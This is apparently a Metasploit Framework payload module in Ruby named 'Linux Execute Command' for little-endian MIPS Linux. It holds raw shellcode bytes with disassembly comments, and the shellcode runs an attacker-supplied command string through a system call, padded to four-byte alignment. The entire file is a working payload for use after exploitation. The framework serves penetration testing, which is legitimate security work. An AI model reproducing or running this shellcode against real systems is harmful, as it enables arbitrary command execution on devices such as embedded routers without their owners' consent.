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# -*- coding: binary -*-
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 52
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  include Msf::Payload::Single
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Linux Execute Command',
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        'Description' => %q{
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          A very small shellcode for executing commands.
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          This module is sometimes helpful for testing purposes as well as
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          on targets with extremely limited buffer space.
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        },
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        'Author' => [
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          'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload
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          '[email protected]' # original payload
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        ],
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        'References' => [
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          ['EDB', '17940']
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        ],
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        'License' => MSF_LICENSE,
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        'Platform' => 'linux',
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        'Arch' => ARCH_MIPSLE,
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        'Payload' => {
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          'Offsets' => {},
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          'Payload' => ''
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('CMD', [ true, 'The command string to execute' ]),
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      ]
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    )
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    return datastore['CMD'] || ''
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  end
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  def generate(_opts = {})
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    shellcode =
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      "\x66\x06\x06\x24" + # li a2,1638
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      "\xff\xff\xd0\x04" + # bltzal a2,4100b4
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      "\xff\xff\x06\x28" + # slti a2,zero,-1
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      "\xe0\xff\xbd\x27" + # addiu sp,sp,-32
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      "\x01\x10\xe4\x27" + # addiu a0,ra,4097
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      "\x1f\xf0\x84\x24" + # addiu a0,a0,-4065
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      "\xe8\xff\xa4\xaf" + # sw a0,-24(sp)
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      "\xec\xff\xa0\xaf" + # sw zero,-20(sp)
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      "\xe8\xff\xa5\x27" + # addiu a1,sp,-24
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      "\xab\x0f\x02\x24" + # li v0,4011
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      "\x0c\x01\x01\x01"   # syscall 0x40404
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    #
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    # Constructs the payload
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    #
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    shellcode = shellcode + command_string + "\x00"
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    # we need to align our shellcode to 4 bytes
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    shellcode += "\x00" while shellcode.bytesize % 4 != 0
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    return super + shellcode
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  end
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end
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